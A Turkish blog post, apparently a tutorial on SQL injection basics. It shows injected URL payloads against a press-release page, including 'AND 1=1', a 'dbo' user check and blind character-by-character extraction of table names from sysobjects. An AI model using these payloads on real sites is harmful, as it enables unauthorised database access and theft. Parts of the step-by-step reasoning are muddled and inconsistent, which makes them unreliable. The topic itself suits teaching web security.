AraKullanıcı girişiGezintiEn son ağ günlüğü gönderileri
En Çok OkunanlarKimler yeni
Bağlantılarİçerik paylaşımı |
SQL Enjekte Temel İçerik [Örnekli]Tanım // SQL Enjekte // İlk başta verilerin dokunulmasına izin verin. Verilerle iç içe olun. Hiçbir standart veri SQL Enjeksiyon olmasına veya çalışmasına olanak sağlamaz. Eğer ki veritabanı sahibi kolonlara giriş için yetki verdiyse, saldırganlar bu yetkiyi değerlendirip gereken metodu uygulayacaktır.Küçücük bir hata en büyük sistemlerin bile gülünç duruma düşmesi demektir.Veri türü kullanıcıdan gelen veriyi kabul eder ve bir düzene bağlı olarak SQL sorgularını kullanıcının isteğiyle veritabanına yükler.Saldırgan bu verileri aklını kullanırsa hertürlü düzenleme,ekleme ve silme yetkisine sahiptir.Bazı koşullarda ise saldırgan veritabanının köküne inmek ister ve başarılı olursa işletim sistemine dahi girebilir. SQL Enjeksiyon Korunmasızlığı // http://www.knbykl.org/pressRelease.jspi?pressReleaseID=5 Şimdi buradaki sayfayı açtığımızda veritabanında çağırılan tablo şu şekilde olacaktır. SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5 Eğer ki siz bu tipte bir url ile karşılaşırsanız heyecanlanmayın, çünkü bu size bir şey kazandırmaz.Eğer ki siz bu sisteme nasıl girerim diye düşünürseniz aklınıza gelecek ilk alternatif, sistemde ki “pressReleaselID” tablosunda bir hata aramak olacaktır.Bunu nasıl yapacağım diye düşünürseniz ; http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND 1=1 Bu işlemi uygulayınız. Burada sadece “AND 1=1” kodunu eklemiş bulunuyoruz. SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5 AND 1=1 İşlem sonucu veritabanındaki tablodan bu hücreyi istediğimizi belirtiyoruz. Bu işlem veritabanının ne kadar hassas olduğunu bize verdiği hata kodlarıyla bildirecektir.Eğer ki sistem güvenli olmuş olsaydı saldırganın bu isteğini ( 5 AND 1=1 ) geri çevirecekti ve Düzgün bir biçimde hatayla karşılılaşılacaktı. Hatalarla Ulaşılan Verileri Sömürmek ( Exploit the Vulnerability ) // Ne zaman SQL Enjekte etmek için test ettiğimiz adreste veritabanı her zaman kendini sorgular. 1=1 her zaman doğrudur. Biz ne olursa olsun önce nerede hataların olduğunu ve Enjekte edilecek bölümü bilmeliyiz.Eğer bir enjekte durumunda sonuç tekrar aynı yere dönmüş olursa enjekte ettiğimiz alanın doğru alan olduğunu anlarız. Biz her zaman sorgu yapmalıyız ve bu sorguya yönelik gelen cevabı veritabanı bize verir. Acaba bu cevap : “Genel kullanıcı dbo” yanıtı vermektemidir ? http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND USER_NAME() = ‘dbo’ USER_NAME güncel kullanıcının tablosuna dönen bir SQL servisçisi sayılırsa veya genel kullanıcı “dbo” ise 5. tablodan çağırdığımız veri dönmüş olacak, eğer değilse sorgu başarısız olacaktır ve hiçbir bilgi görüntülenmeyecektir.Eğer ki çok detaylara inmek istiyorsanız veya şöyle demeliyim kendinize güveniyorsanız şu tipte de sorgular yapabilirsiniz. http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) > 109 Subquery ( SELECT ), veritabanında ilk kullanıcı işlemi için ismi soruyor
Bu kodlardan çıkan yorumumuz ise şöyledir ; Eğer ki sorgumuzda hiçbir değer geri dönmüş olmazsa sorgumuz 109’dan daha büyüktür.Ama 116’dan büyük değildir. http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) > 113
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) > 111 Sonucum ben de yeniden yanlış çıktı. 111 yazmamın nedeni bundan bir önceki sorgumda sonuca 110 ile 113 arasında bir sayıdan ulaşacağımı bilmemdir. Bu yüzden bu arada bir rakam denedim. http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 2, 1))) > 109
Not : Red’in sitesi içinde bir döküman yazacağım. Bu dökümandan ziyade bir insanın başarı öyküsünü andıracak. Kaynak : http://knbykl.org darkpenguin demiş ki : demi$sinde hoca,$imdi biraz hatalar var bu i$te saygilar… Bu konuda bilgilendirdiği için teşekkür ediyorum. __________________________ (4 votes)
|
Benzer yazılarEtiketlerEn son forum mesajlarıYaklaşan Aktiviteler |
Son yorumlar
7 saat 39 min önce
22 saat 39 min önce
3 gün 21 saat önce
6 gün 3 saat önce
6 gün 21 saat önce
6 gün 22 saat önce
1 hafta 8 saat önce
1 hafta 2 gün önce
1 hafta 3 gün önce
2 hafta 5 gün önce